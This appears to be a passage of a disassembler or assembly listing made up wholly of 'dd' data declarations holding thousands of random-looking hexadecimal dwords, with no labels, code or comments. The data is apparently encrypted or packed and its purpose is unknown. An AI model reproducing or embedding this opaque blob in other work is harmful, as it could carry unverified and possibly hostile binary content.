		dd 5DD649E9h, 27C08B51h, 8AA985Dh, 0B29F2FF6h, 3830C84h
		dd 184C8D68h, 5F51327Dh, 1618B5C5h, 0C26A3BA9h,	18F8060Dh
		dd 0FDDA01E9h, 5354C50Eh, 0DCAF1EAFh, 0A4854781h, 0E409134Eh
		dd 25AB56B8h, 8368C5F5h, 3F037DBDh, 13B9CFF0h, 3DBCEE5Ah
		dd 1228172Ch, 0B86A409h, 0F856DC40h, 162EFE9Fh,	1465E66h
		dd 3F4863D7h, 4F127ED7h, 0B2A2FAh, 6D60032Dh, 9C97E93Dh
		dd 0FAF9926Eh, 48D5A32Ch, 56A261B5h, 0F717295Ch, 0C0BD2709h
		dd 246D68B8h, 97C377Ch,	0BD104AF9h, 0DDF24E05h,	0C6B2C895h
		dd 0A7682651h, 6397BE8Dh, 275BFD37h, 7CCAF8EAh,	0B5BC2F5Dh
		dd 4118E9E6h, 654C1435h, 5FA4A461h, 76D6CA8Ah, 15EEE4Ch
		dd 1205E31Bh, 0B6A3E7Ch, 0B9455C54h, 9C9B08h, 0CE6A21BAh
		dd 77F6422Dh, 80204961h, 91620BC3h, 82274F7Ch, 0E8775A01h
		dd 0B51C6D05h, 0E37F2CCAh, 7ED9D258h, 9C510E81h, 8A0CEAE5h
		dd 6C5F7BB7h, 0CE556E09h, 422B25F3h, 975DC6D5h,	9C680880h
		dd 3D4A9B01h, 0FE810AC7h, 163AC264h, 0EB12135Bh, 0DA0D3A53h
		dd 0D604A9F4h, 4C3A6BEh, 0C082B151h, 5E0651C6h,	8718C202h
		dd 3F175609h, 0A0DE8325h, 0B7656850h, 0BC8BF1h,	3A530D1Ch
		dd 0CF4706E9h, 0DC64581Ah, 199AF343h, 5F5CA617h, 2513463Dh
		dd 0C6CEB83Bh, 7102BEFh, 68364C05h, 63DF575Ah, 7CFA7F44h
		dd 594E2BF0h, 6C683302h, 821F711Ah, 2FB215ACh, 3EC930E1h
		dd 4EAD356h, 16E1BF18h,	1120862Dh, 0D2171488h, 9235E611h
		dd 1266AEA7h, 8B575F0Ch, 34852681h, 9EA06813h, 65BA5C44h
		dd 0E5F815DEh, 0AA03FF5Bh, 978D69C3h, 5532A3D2h, 84AD754Fh
		dd 0A1A0EDDEh, 0FC20E347h, 3B8F002h, 199CF648h,	4B2CFFE9h
		dd 16279A5Ch, 985F9564h, 0C5B6F660h, 0C003E395h, 0D52C4813h
		dd 29BA25h, 7728C227h, 0E98D15D2h, 0EC4EBC8Eh, 0C74F10CFh
		dd 2064BE25h, 0A435530h, 1EB65266h, 0D7F1883Bh,	0BE0952A6h
		dd 0C10E159Bh, 0D05A0AE9h, 5A277BF9h, 2A9E2585h, 14EA6C5Fh
		dd 9D1187E9h, 93A4B5A7h, 1BB1AD8Ah, 882750D4h, 56BD592Ah
		dd 0B1D585Bh, 5F5B2AC9h, 4BEC9B8Fh, 0F40AE55Dh,	9F3DD009h
		dd 0E072BD02h, 28DEC07Dh, 0ED72822h, 7C89B5F7h,	4758A1DCh
		dd 2CB83C9h, 40A8E6BEh,	5C9D59CEh, 0E7D5CB96h, 0B8C625B3h
		dd 0F89D909Ah, 0CDC95E46h, 5AFA4141h, 0B2A88253h, 6008972Ah
		dd 2C793A81h, 3D14899h,	1D806ED6h, 0DFB6C7E0h, 7C8860E9h
		dd 2D82EB59h, 45360FD9h, 83B40FC2h, 0F70CB546h,	11255C40h
		dd 33405877h, 0FB4AD7F7h, 3E4620C9h, 3105CFBDh,	0FE414C59h
		dd 0D9BF9013h, 0C727604Ch, 6BC66D13h, 0E9E4D1EFh, 899D65E5h
		dd 5C4F42DEh, 28D862ECh, 980B9657h, 5D630CDAh, 8B0C70FDh
		dd 18305B0Fh, 8E92401h,	19BBB3E0h, 70C71EA6h, 0B9D489D8h
		dd 90D946ABh, 7B6027E1h, 45CFCBDEh, 69F962E4h, 8E5C007h
		dd 15893FD0h, 0AD3ED7F8h, 4EA55D68h, 0BB0AE38Ah, 27906C4Ch
		dd 4345397Eh, 0F8A86FC5h, 0D54CA24Eh, 0F0599ED3h, 522EEB24h
		dd 6C9BA087h, 0D83000F9h, 0E886F2FEh, 0FB9F4B2Ch, 4EB14831h
		dd 9807BA3Eh, 0F2332AE2h, 9D21B7C2h, 413F61E9h,	55CFF621h
		dd 0DA70A877h, 5B4AD620h, 0A12D1431h, 0B205414Fh, 61D60FD9h
		dd 9FF82E33h, 2CFCA061h, 488070E4h, 0B07E6B41h,	0D19D21CAh
		dd 6AB0E22Ah, 30FA05E9h, 3509F636h, 0F75F45E5h,	0D569C253h
		dd 7EE99A51h, 4D8353C9h, 0DFBD6402h, 0FD3D1B3Bh, 536BE883h
		dd 47F5FD02h, 5E194285h, 0C8890679h, 57B07759h,	0CB535067h
		dd 8DEB06BFh, 9B7F0951h, 3404B0BBh, 6817A05Fh, 4E6EAA38h
		dd 5E639BEh, 84B3BB94h,	0DDFDE9C2h, 4F0B44D2h, 80171210h
		dd 0FE44E8F7h, 4B209751h, 0C41BE2E7h, 204F2E30h, 0C57C135Dh
		dd 0FB540EB0h, 406F7944h, 0FF5A10D2h, 0D649B751h, 1FEFAF2h
		dd 56008969h, 0E07C2FB4h, 51A273E5h, 1BBB0478h,	0D15D431Dh
		dd 0E0503E44h, 0F33E8922h, 233585Eh, 3A8D2555h,	2D467021h
		dd 435C450Dh, 0F2D96252h, 20060B4Bh, 0A8850C39h, 0EFCEF4B3h
		dd 89A0CDBAh, 62E73158h, 40FA3F0Dh, 0F5D94801h,	0B59352Dh
		dd 91BC4945h, 0E9A0BB5Ch, 1AB7C579h, 3389D77Dh,	0F702C271h
		dd 0D77068F1h, 5152606Eh, 36DD8527h, 5DCBA4A9h,	687003D0h
		dd 7EB73370h, 7AE9C17Dh, 0F5317B27h, 5A29E21Dh,	806853C2h
		dd 7A23F477h, 5648BB96h, 125400E2h, 0D5F76266h,	0BCE9394Dh
		dd 939B5C5Ah, 1E2CAB0Bh, 554029E9h, 53579EF6h, 3C1AE1BEh
		dd 748CE11Ch, 6EC4796Ch, 56F1413h, 591E6642h, 3E19D0BFh
		dd 325F02F2h, 37FC6646h, 2FCD5293h, 32E6BE93h, 0DFC75F25h
		dd 580A53A2h, 62379D68h, 321D863h, 295DBD12h, 75D22701h
		dd 80013176h, 0CA3051F1h, 902E02E9h, 0F461BD62h, 8697A37Bh
		dd 988089B8h, 0BDAE7020h, 6BBF3819h, 0BAF9F5E5h, 1220D935h
		dd 5004B60Ch, 0B86220E9h, 0E1D7C677h, 8A2F5C9Dh, 9252739h
		dd 521676ADh, 1607A55h,	7477DC2h, 52E04CE9h, 0CDF95F17h
		dd 9490E958h, 32F24C9h,	7B3A78E7h, 0B535C08Ch, 95089727h
		dd 2FFCEEE9h, 7D2219D8h, 639A2A06h, 328B816Fh, 0DBBD00D6h
		dd 434AD416h, 0AE58F2B8h, 2E4F9904h, 0CF2CFA37h, 78583A42h
		dd 0E9C50982h, 2C481D11h, 8D2C33D3h, 0A4163035h, 78E3F784h
		dd 801FB102h, 0E08463C1h, 0E1C2AABDh, 53136088h, 0BAA879B3h
		dd 0F31E2502h, 0F288C47Fh, 0A7FAB7D2h, 7D8EF205h, 51C229D8h
		dd 70495D5Ah, 5FFC40Eh,	1BACC1B5h, 0F8368C2Ah, 6DD8481Fh
		dd 0F7A5455Fh, 0FF972594h, 5E3AA90h, 0DDEB24D7h, 0F28764E5h
		dd 4E871040h, 76C8FBEBh, 86EA5A29h, 68551A2Bh, 4423350Ch
		dd 0C123C3F0h, 62F03FBh, 25D0F402h, 0C281215Fh,	0C07ABA4Ch
		dd 0DCA0FD19h, 92E9E608h, 0C2830972h, 186A4287h, 0A35FBF00h
		dd 76310D24h, 93C7BDFAh, 0D519E905h, 4FB8849h, 82B37555h
		dd 372ED713h, 0EBD4854Bh, 0F166A809h, 0BA68E2E3h, 0D9270F7Ah
		dd 70E3DC36h, 555E5854h, 0CE0E58F6h, 13561B57h,	3084BFDAh
		dd 0E149ECEFh, 0F9805FE9h
		dd 48643305h, 0A35B6821h, 0B902FCA3h, 18A6588Dh, 680510D6h
		dd 105E15B5h, 0F7E90671h, 0C1D512CBh, 8E02AEE2h, 62CFAAEAh
		dd 0C6895D6Ah, 6003D97Dh, 0A233F1BBh, 0A0CA0550h, 0D0833B3Dh
		dd 4217CAD6h, 34FB1D76h, 8791AEB5h, 0A9D4C7FBh,	0A27620E9h
		dd 0DF735176h, 0F653CEBFh, 440B5E4Dh, 0A83497C4h, 76A9D62Dh
		dd 12D53125h, 0DF177D0Fh, 6424B220h, 0DFC9C4D1h, 0D604B950h
		dd 5B474667h, 2E4C41BAh, 0F9B8B998h, 7DC6FADFh,	6D728FFDh
		dd 22A8B11h, 5C15FD02h,	715D7A4Bh, 43A6262h, 35CF457Fh
		dd 2E2DFFCCh, 7DB39520h, 48320071h, 0A07AED2Dh,	0F80E0D6Fh
		dd 411B0510h, 326D65CAh, 373622DCh, 93184707h, 4C04AAD5h
		dd 782C4023h, 40B4ACBFh, 87545808h, 0D534E958h,	0C5FF9B06h
		dd 0FFA31294h, 138063C9h, 2045B951h, 815C1F6Dh,	142B0B4Fh
		dd 92F726Ch, 48693512h,	1FC4958h, 0D5C9FC2Dh, 280E4302h
		dd 56A81177h, 8247DEE4h, 0EEF317A0h, 74AC69Ah, 0E92B42ABh
		dd 407BADC8h, 3A2E90EFh, 0E2C544D4h, 0C6EA18FBh, 1D74F217h
		dd 0BD76F369h, 551BDB84h, 0BE13FE1Dh, 9389E2AEh, 54141BADh
		dd 0E407865Dh, 0DF71D82Fh, 0AC9A4F29h, 26CA4C77h, 8B0E42CBh
		dd 325F5D96h, 267880AEh, 2550F45h, 219ACB81h, 0D5D662F6h
		dd 2238471Eh, 5F749F88h, 6D804264h, 0E54A23C9h,	5731CC80h
		dd 0AE93754h, 0C2B034F7h, 0A6C38CB9h, 90AF4FB7h, 5964E19Ah
		dd 425A2E0Ch, 18A14E4Ah, 6671E333h, 7A2560D7h, 9C5E250h
		dd 6B68F796h, 885FE9F2h, 3DB81DC0h, 261E0139h, 100D4D2Dh
		dd 17B56C6Ch, 32ADBCD8h, 0D25FADEh, 3D84D3A0h, 0EFB871BCh
		dd 27ACE520h, 8D7883BEh, 6E7A296Ch, 0C6E9185Eh,	68E1C121h
		dd 0AE19B726h, 82FF5264h, 0D175411Eh, 3F6E031Ah, 7CE23AE2h
		dd 0E90C0232h, 2546F6EFh, 2744A57h, 60CEFBF2h, 2555615Bh
		dd 88DF1A3Fh, 5E09086Bh, 16FBD429h, 7A9AE1B4h, 55CFCDFCh
		dd 0FF1B79A5h, 3868098Ch, 0EF5E6F81h, 0BD3A163Dh, 0ECE9834Dh
		dd 5C5E311Eh, 2E89B26Ch, 8B3F788Dh, 0DB6D1274h,	683D70AFh
		dd 3EE162ACh, 6FE6A0E8h, 28356816h, 6E0269EAh, 0FE92CEE2h
		dd 0F0C457B3h, 3FE7FB1Fh, 6825C420h, 5E175AF7h,	3705FD7h
		dd 7DF45B05h, 8B5898DAh, 0C25359B7h, 987F2EE6h,	5DB832h
		dd 354D1D5Bh, 321272A3h, 1D6169Dh, 630C1D7Eh, 18333E9h
		dd 85DD62B3h, 0ED19C47Eh, 0A50D9FF6h, 0F22A863Fh, 0B38C9F0Fh
		dd 0C9D6355Bh, 40045AE5h, 0BD55F0BEh, 0BD0DC93Dh, 1735182Ch
		dd 3D81472Ch, 767E25C7h, 4FF71F7Ah, 0C05092E6h,	0B668560Ch
		dd 65207102h, 92025CE9h, 0B0157A82h, 79BD69B5h,	51A9D482h
		dd 529277F3h, 0CD291504h, 6AEF8706h, 834C5802h,	5DFA017Bh
		dd 0BACEB814h, 0BD32B8E6h, 0ED3F1A65h, 0F9F0142Dh, 0B4F22928h
		dd 0A66C700h, 560C3549h, 140D4FACh, 6E2ACE3Fh, 0ED8100EBh
		dd 0F6A4DA5h, 7598D529h, 0CC050883h, 2817398Ah,	363072B9h
		dd 3202C6C3h, 481B0F3Bh, 0EA5A0FFDh, 0DFE68048h, 907BC424h
		dd 20440BCEh, 0F6E36384h, 628E940Ch, 0FF8CF4EFh, 0BAC34D92h
		dd 32B2C187h, 11A0757Ah, 3E9E7255h, 16280D01h, 0E8830C82h
		dd 4284992Eh, 80002DBAh, 9F281DEFh, 92EB5CD8h, 278AAD06h
		dd 5BF9880Fh, 327CE1E7h, 53F85CC9h, 7BC90E4h, 0CEFBCB3Ch
		dd 292048EFh, 0D5278119h, 0AC580884h, 0EA0DB226h, 0C2D440CBh
		dd 6E4E131Fh, 0E1752352h, 295DB498h, 0C415446h,	9A8B616Bh
		dd 0C1217F0Dh, 9C7FCF29h, 175A6EB6h, 9DE91060h,	0B2B08045h
		dd 0D4FB514Bh, 0FD9DEA99h, 0BB5C7CF4h, 33D427B3h, 0F7E590E9h
		dd 5D17248Ch, 11C7010Eh, 2EA7BB92h, 98FEA9C5h, 0F748CD77h
		dd 6B4DDD3h, 0E98445A9h, 2916BBF6h, 12DF8BEEh, 93E40FBDh
		dd 1E46F4E1h, 0C6C18127h, 0C557967h, 192D9BF6h,	38A35C8Fh
		dd 6980D1A5h, 7A1B3D63h, 76A83CC2h, 0F28082FCh,	0B2E7553Fh
		dd 0F8BBC427h, 0C9EDC0E0h, 188A0E25h, 473A99B8h, 4124935Ah
		dd 0B61B7E00h, 4F09AE8Fh, 0BC892CEh, 0D02F5356h, 0F05AA04Ah
		dd 222FE92Ch, 0B550FE6h, 0A7A3C751h, 40E18E57h,	0CD702925h
		dd 2D050230h, 8948BFE4h, 0D3199F5Ch, 2BBE714Ch,	80644E76h
		dd 2860BB08h, 632F3326h, 0BA024310h, 0B97B9A8Fh, 5977CBC2h
		dd 0F3DFC936h, 81F5EB22h, 29414513h, 0D606A642h, 76FC27C8h
		dd 0A90ADEEBh, 88772768h, 772710BFh, 585DCF80h,	289653E9h
		dd 0A8916BBh, 212001E3h, 7B389C7Dh, 55EFEFEh, 893C1EBFh
		dd 78FAC03Fh, 24FBFC97h, 64DC071Ah, 402507E2h, 0F731AC57h
		dd 6C35D805h, 5BC76127h, 0BD00B564h, 21A11FECh,	0D8AAF795h
		dd 4999021Eh, 24C073E9h, 0D64CBB58h, 85AF16AEh,	0A9BF6334h
		dd 0B1E2B5ABh, 0E128E985h, 66D0FCCCh, 43A85B4Bh, 215F1B1h
		dd 94567721h, 129CF358h, 440F4008h, 0A150E95Bh,	0FDB2D799h
		dd 0EE029289h, 72E671DAh, 5456B807h, 0E9DF1069h, 6453763Ch
		dd 3C32EE58h, 6B8409ECh, 0C4D3F864h, 25138429h,	0EB4394EAh
		dd 0D8B54205h, 2F6872D8h, 464C7B4Fh, 234F8AF4h,	0BAC026ACh
		dd 69F84C01h, 9AB7E91Ah, 5169F742h, 5A26F8FDh, 6055828h
		dd 36BEE916h, 9B8867CDh, 0D62DAEC9h, 8B7FA589h,	0BF30F0E1h
		dd 6816AAE6h, 1CA347B9h, 313B826h, 35E2813Ah, 0C15E0B88h
		dd 769005ECh, 8232C801h, 5551E927h, 0D118393Ah,	52F0C03Eh
		dd 80C0B600h, 0D6F613C6h, 16B10F51h, 0E161C9FEh, 7E93E902h
		dd 1AE6617h, 8A0925ADh,	3532301Ch, 23491512h, 0F4E9C5C0h
		dd 41F62D6Eh, 590031FDh, 2C23A02Ah, 2AC18C31h, 0CC392DE2h
		dd 0BFA95016h, 7BB9F130h, 20AF257Dh, 0D2C1CEF0h, 2B713E01h
		dd 91E9E58Bh, 71659A9h,	0F6FAC497h, 5812CE4Fh, 402B68EEh
		dd 42A609C7h, 66068E0Bh, 1D8C6BCCh, 521D687Eh, 0C6ECDE12h
		dd 3D8E982h, 73D5DFA7h,	0F3FE299h, 0FE1013CBh, 21CC7DACh
		dd 0F0BD5B6Bh, 0C275164Ch, 10DCB971h, 5327D807h, 529BD6F1h
		dd 0E9D390FEh, 0CC414B18h, 314EE417h, 0D050D3F2h, 0D1FE52FFh
		dd 39056305h, 27B40154h, 3C0B56A5h, 52491ED0h, 0A0E5AD89h
		dd 0AA4063AFh, 0BF2D4E14h, 1FBABB12h, 31DEFA05h, 0A73469B3h
		dd 71E85FC1h, 120021BDh, 0CD81377Fh, 97414F2h, 2B946875h
		dd 9D804959h, 0E93EDB2Ch, 3A956F58h, 0AAE4C70Eh, 0C0BCA34Ah
		dd 0E58BD55h, 4553397Ah, 68819A5Dh, 0F6F933C2h,	0E637C261h
		dd 71C10102h, 0F1294243h, 164D840h, 0E2389427h,	7633407Fh
		dd 325481D2h, 9368C256h, 61CCD57Fh, 48349501h, 3FEAE961h
		dd 2F1DF67Bh, 69147356h, 1B6BCC82h, 8B2D43D2h, 1C856E70h
		dd 273A8F68h, 41045D5h,	0AEE083E9h, 1FF8828Ch, 492B0379h
		dd 0CCA153EEh, 215A6665h, 0A64B20DEh, 4440D34Ah, 5E9C63C1h
		dd 8E2109BAh, 0FA8987B7h, 299DF656h, 0DF13BFA6h, 0EF8013B2h
		dd 23568D0Fh, 1B532D00h, 0F8295AD0h, 1607A205h,	2BE9129Eh
		dd 0B2E730E8h, 0EA398055h, 0E6C28930h, 2E680288h, 0DFDBA299h
		dd 0A828545Bh, 92C8B58Eh, 0FBBFFB29h, 0CFD527A6h, 0F09F96C4h
		dd 6817522Ah, 2CBA14BDh, 80B5337Fh, 28C4B674h, 526FF2CEh
		dd 167696FDh, 5D9A21h, 136305BBh, 2507117Fh, 7AA133BEh
		dd 0C819B250h, 0E3350002h, 8918167Eh, 0D14AE9C5h, 0F4BB81C1h
		dd 31E60D6Ah, 0FAE342DCh, 5F126A78h, 0F7FFF029h, 67A84A11h
		dd 17B550B8h, 5D66120Fh, 0B2BE0714h, 0F03183D2h, 0B3952DDh
		dd 0D77021EAh, 3EFFE182h
		dd 66E91316h, 0E0ADC952h, 8E9A11F9h, 0EE5CFD72h, 0BE722931h
		dd 0BC165002h, 0BE37839h, 25E4CBF5h, 2420B1D2h,	1581318h
		dd 4EBD04CEh, 0C98AF6Ch, 40D24C0Eh, 0E27B12D8h,	0E0AEDC97h
		dd 419E05EDh, 822D52BFh, 594C5508h, 167D6B20h, 30742568h
		dd 2CD5B0EFh, 0C508A301h, 0BEF58058h, 30E30689h, 0EB04FA8Bh
		dd 0CCB707DDh, 56AFBB72h, 0DCA98CB3h, 6402350Ch, 8102A009h
		dd 0EAA97FEEh, 0F6FC6009h, 0ED40D3A8h, 25E17728h, 5B150E48h
		dd 412778ACh, 0B67E018Fh, 0D15D2722h, 6EB16354h, 45B82E66h
		dd 0EEBB050Dh, 0C0467F27h, 0E33A68C0h, 0F4433D3Bh, 750F091Ch
		dd 8029F465h, 0A915BBCBh, 0FE73E92Dh, 56825F96h, 570DEC5Dh
		dd 728046F6h, 21664BF3h, 0CCE98BCEh, 0AB4F7AEBh, 59470908h
		dd 83588882h, 73986805h, 0C956F633h, 1D344B7Dh,	752AFDEBh
		dd 0F8CB005Bh, 252FD33Bh, 604B140Eh, 76A7A13Dh,	0B02F0A69h
		dd 0A5390520h, 0AAA04A48h, 0B9F1E4C6h, 0AB58640Dh, 7F33C741h
		dd 0CE8011CEh, 0A3292E8Ch, 18BECA01h, 5204364Fh, 540F9B35h
		dd 0EF8859A5h, 0E9BA20CCh, 2CCF883Dh, 1FEC9CDCh, 0D4C6F7D8h
		dd 0F2B3BE66h, 6E0C6809h, 8162CEF6h, 17222B22h,	4020356h
		dd 2E165221h, 6E6F0B3Dh, 0AA66E104h, 0F89A5F02h, 0EEC304FEh
		dd 0C95209F0h, 0C5F41A32h, 4608F760h, 8A564B1Bh, 405D27C7h
		dd 4F14C22Fh, 70CC008h,	3503E0D1h, 26A31FB9h, 3CEEF02Dh
		dd 0A15E95F7h, 0D2E82158h, 42E6EBAFh, 3AE9E709h, 572506FCh
		dd 13240D45h, 0EFC16B1Fh, 0B144E97Fh, 70C762Fh,	0B081DD95h
		dd 254FE907h, 9DA96A16h, 0F748C2E4h, 87525709h,	0BB2FAE2Ch
		dd 4728D889h, 895D940Ah, 0E53B6004h, 74054016h,	3241F2Eh
		dd 0AA59A225h, 2DE9D138h, 0A437BA01h, 1016034Ch, 0AD4EB8ACh
		dd 40D510F4h, 0F339E909h, 5C95C87Dh, 0B376BFBEh, 0D734358Ch
		dd 17800FC3h, 0CBAF3EE2h, 9008E81Fh, 330E2299h,	0C7B0FF97h
		dd 185ED6E9h, 68E188A8h, 16FDE6FCh, 5DE92718h, 759DF278h
		dd 1BBEE194h, 0AD186552h, 0CF02337Bh, 0E55005E9h, 32F9252Ah
		dd 5251C16Bh, 7F8B997Eh, 9278DEE1h, 25B4C602h, 0B26033A1h
		dd 705E58FDh, 1CA0C3F1h, 141CD008h, 13268B4Ah, 9E8478E9h
		dd 85ADB8BAh, 0B0B83607h, 8C4B60C4h, 0D15A01B4h, 0E9F028AFh
		dd 0E3A1382Ah, 266172B7h, 82E43B84h, 4527EA55h,	39316075h
		dd 0A7BE80C1h, 7C302A1Eh, 0E9C21096h, 0C56FB5Fh, 4B441E41h
		dd 0E05AB5ECh, 0F3686B71h, 80F8373Eh, 668557E0h, 0D54BB4B6h
		dd 0E9615E65h, 236AA529h, 0E7CA2B4Ch, 0C28141FCh, 0DCF05587h
		dd 987BDB61h, 0D409E963h, 0D625CE58h, 2508A07Ch, 0CBE6525Eh
		dd 31A16815h, 0C05B57h,	0BFB33A7Bh, 7F20E05h, 0FC67E907h
		dd 0A20EC57Fh, 0C5B1FB0Bh, 990106E5h, 58D6682Bh, 282E2749h
		dd 6E00AD8Eh, 0A4BF43A8h, 95354B20h, 0F7120077h, 4743FB7h
		dd 0E9FD2134h, 2BBE816h, 227FE4BBh, 1292802Ch, 16E7049Ah
		dd 0B5B5153h, 51D2A0A5h, 0F30BECFFh, 774E1F7Bh,	0BC6F56ABh
		dd 0B857B88Fh, 7FDD4144h, 0C9EA0DC5h, 0D69E40B4h, 0F782A21Ah
		dd 63832442h, 0D0C22EC3h, 5A3AA80h, 810234F3h, 40E64E7h
		dd 17C04039h, 0A0375B22h, 2C966159h, 0FC0C83E6h, 1D7F600Dh
		dd 0B23CAFE1h, 0BE564A01h, 245B0875h, 0CE487178h, 8BB8BC4Ah
		dd 27114559h, 0E920B075h, 0B1F794F7h, 28945884h, 0E368822Bh
		dd 0CB6B5962h, 0FFA6EEFFh, 31B0AB14h, 74E92D51h, 6D590489h
		dd 0C0F4CDE2h, 3883AD7Eh, 0EA48207Fh, 530BFB18h, 1E2FA3EEh
		dd 38FED088h, 38B51A6Ah, 0C096FB0Ch, 0CC72BF0Ch, 0F6BA522Dh
		dd 0E377A721h, 0CFE9F8E9h, 6887C295h, 0ECF61245h, 0C818D46h
		dd 25A5BFBAh, 98679B94h, 6562492Eh, 91FB7627h, 99EE4E10h
		dd 0BF78443Eh, 54E0FE95h, 24B24BF5h, 90A9EFF8h,	2AC2D06Fh
		dd 0D4753E22h, 9942455h, 0D230D029h, 1F19C605h,	2D1A73AAh
		dd 7FE90741h, 0A63A7D65h, 775C8C60h, 35101FBEh,	0F506FC6Bh
		dd 978BE95Eh, 0B8E65A4Ah, 9FE08C3Eh, 8A49CFE1h,	54ED315Eh
		dd 4B88DF10h, 0E24DEFFh, 1255A468h, 0A8E7AEh, 33DEED81h
		dd 2FE979A3h, 18C5F746h, 8066B200h, 9708C0EAh, 4F8696FFh
		dd 0EFFAC474h, 0FD2590F2h, 0E9064E45h, 92BF208h, 674D5DEAh
		dd 9827637Dh, 4FD35776h, 2C6AAC19h, 0D81157Ch, 32952516h
		dd 0FA051270h, 0FFC7274Ah, 84174F5Dh, 0AAF017E9h, 5F7B82A6h
		dd 3B8EB112h, 0B0B5E5E8h, 12177645h, 61913654h,	0A2E6A3E9h
		dd 0DD7894A6h, 2CBC96E5h, 1A1032CBh, 39D82116h,	0C7457A94h
		dd 74AB359Dh, 0BA0BFADCh, 0A95F5AACh, 133E4B01h, 7EB6BBDDh
		dd 0CF52E9C2h, 0DFF9A47Dh, 317C62C3h, 10DDBFAh,	0C1C160F5h
		dd 813730B7h, 255202E2h, 0DAF76A29h, 0FB001E76h, 79E99FFEh
		dd 0A9999568h, 3B93605Bh, 20B4B086h, 61902337h,	5F2B7104h
		dd 0D104092Eh, 0CAB6BE92h, 28527A42h, 89CFFED6h, 10B0A64Eh
		dd 592CA05Eh, 0F8363943h, 1A9F9409h, 8C28092Dh,	2FE90D0Ch
		dd 0F7AB842Ah, 0E47E2B7Fh, 650205B3h, 0F35C2903h, 0E90C405Fh
		dd 3E603337h, 0B551D800h, 0CD801FCEh, 815952D7h, 2BE328AFh
		dd 261261BFh, 6B6735F2h, 3E322EA0h, 6778D129h, 63433407h
		dd 0C095F95h, 0F63DA568h, 7B45CF4Ch, 160AF330h,	0FAFCED80h
		dd 0F48F0692h, 0EBFA64F1h, 0F5283B39h, 6632C375h, 0D5680A59h
		dd 0A1AF6A4Bh, 7882E950h, 11BE0EFBh, 5661C702h,	491D9DB2h
		dd 0A02EF2A6h, 0AE2D24D5h, 646ED650h, 4F40AB29h, 8611AD8Dh
		dd 1E0A5AE9h, 64D425C5h, 28701E08h, 97ADB2FDh, 0A9CB31C8h
		dd 1C8C0710h, 0C70BB901h, 97DE313Ch, 0C8FB407Eh, 201E809h
		dd 3C240548h, 6B20EBA7h, 0FD0C13BFh, 0B06DE870h, 5848297Bh
		dd 68C2332Dh, 215E4636h, 0A6059560h, 0F3810F0Ch, 1981082Ch
		dd 2AC011E9h, 78109BE3h, 4CC5853h, 70791973h, 5E080B24h
		dd 304C34D5h, 0ED41F132h, 0A2D96A2h, 0D1E04214h, 82F06BA7h
		dd 0F02487A7h, 128CE85Ah, 9B91B7DEh, 0CB053B09h, 27EA6F37h
		dd 82D5364Bh, 1133F50Bh, 805FB09h, 880B0A46h, 62B27DEFh
		dd 0ECAC405Dh, 0A14DB265h, 0B3FD6997h, 0EE381F0h, 57DA3CEBh
		dd 0C315DDDh, 7D0C2049h, 8C6D7E38h, 0AE0A56E9h,	96BF0BBh
		dd 5C316678h, 84A29CDDh, 1835513Dh, 522D1C26h, 3A1EDDB1h
		dd 8BAEA912h, 0EBBC4F05h, 0B20E6284h, 0AA0C88E8h, 3CD59568h
		dd 95F99D0Ch, 1F5424CBh, 542947F8h, 42B44813h, 5C5D6DE1h
		dd 48F97384h, 51E33F08h, 57F950h, 0B35B8E68h, 52565F63h
		dd 9175DCF1h, 47BC4E4Fh, 0FCD01676h, 0FEFF85F2h, 0CF00CE1Fh
		dd 157E6A25h, 0E6D34E9h, 0B4AFEC58h, 0F182F8BBh, 0EA2E5358h
		dd 6942DD29h, 685D00FAh, 0ACA644B8h, 0D80E0E90h, 0D3395A11h
		dd 0C7615700h, 0BBB5854h, 0D07E87CEh, 0BBE74005h, 4BAE6E98h
		dd 844FE2E8h, 890434C5h, 0AA6882EAh, 0E0006EC4h, 0F7775330h
		dd 98E6C1D6h, 0BD465DC9h, 0EDC05A01h, 30CDFE06h, 4597018Fh
		dd 0D2DA3075h, 620B521Ch, 590CC8E9h, 0A81B3C5Ch, 0BACD8F54h
		dd 644287E1h, 4AB34A36h, 0BC4AFDBDh, 0F6D2B2D7h, 0AF52BF93h
		dd 0BE0120DBh, 53665A5Ch, 0B9658B9h, 4CA78B31h,	7E49803Bh
		dd 4E0142F1h, 4068D4Ch,	97B5BE0Ch, 5235AF2Eh, 168E5C0h
		dd 0C141AB22h, 75C273C7h, 0FDADE853h, 6B024E39h, 0BCF419B8h
		dd 9E6872Eh, 4067FD09h,	0BBA05112h, 3352174Eh, 0A2921207h
		dd 0B6B98096h, 0C1F8CCADh
		dd 317CD484h, 77BA3019h, 1E405A17h, 52FFAAA0h, 890CE137h
		dd 993C1920h, 3445FE12h, 0BDCBEAh, 6E5D4798h, 7D673DBEh
		dd 90E91286h, 0F20C915Bh, 0ED23F57Fh, 0ADCBBD72h, 5B0969C7h
		dd 0D24F827Ah, 49B33B58h, 54144BE2h, 0EED78BE4h, 0EDC1C501h
		dd 8069704h, 6C0088ECh,	0EE316FAAh, 5701055Dh, 0E946AC7Ah
		dd 4F7C4124h, 28D02CF0h, 0EAE9F80Dh, 6F448AEFh,	3FF5EAC1h
		dd 3494ADEFh, 79A7F5AEh, 32AAF4E8h, 20E428CCh, 97EDD420h
		dd 234AA5E7h, 33D1F78Bh, 0F40D4B7Dh, 604EA7E3h,	5040D8h
		dd 3759BF57h, 5DB85415h, 0CD050BC0h, 142B2056h,	72DF829h
		dd 5EF6F75Fh, 0E96E03BFh, 0FB407D05h, 0AC9A56A8h, 33094702h
		dd 852D5802h, 0DC05E06h, 906FEA55h, 30440D52h, 7A0C6920h
		dd 4FE908A4h, 5AE2FCEBh, 7BDC39FFh, 1712DDE3h, 0A831BFFDh
		dd 35783DCDh, 0D989AB93h, 9F05A2F8h, 0FF03E8D9h, 0E1FDBA11h
		dd 0AF65554Fh, 83A50838h, 168DF9C5h, 7605FAC9h,	6DFCE054h
		dd 3C51558Bh, 7288A5Bh,	942D6453h, 3A23894Bh, 0B004A7A5h
		dd 0E909C7CEh, 0ACEA8ABh, 0C3EAF783h, 421C97F6h, 14FBDA6Dh
		dd 0CCB07B13h, 9CDC3217h, 0DC975034h, 1DEC2CC6h, 6C79E53h
		dd 995FE9F9h, 5051899Ch, 0ACC99EFCh, 0BFC1EC42h, 0E962B4F9h
		dd 16425058h, 442A7968h, 972227h, 0F02807B6h, 815A6366h
		dd 0F8A2D7F6h, 0CE51677h, 84EB8028h, 0E9179506h, 0A3F740CBh
		dd 325F57Bh, 0F2C3AD2Bh, 22EB725Ch, 0CF074E70h,	712A187Dh
		dd 4A693BB2h, 74EDC020h, 0D4F9B5FCh, 9F685540h,	0B0B6756Fh
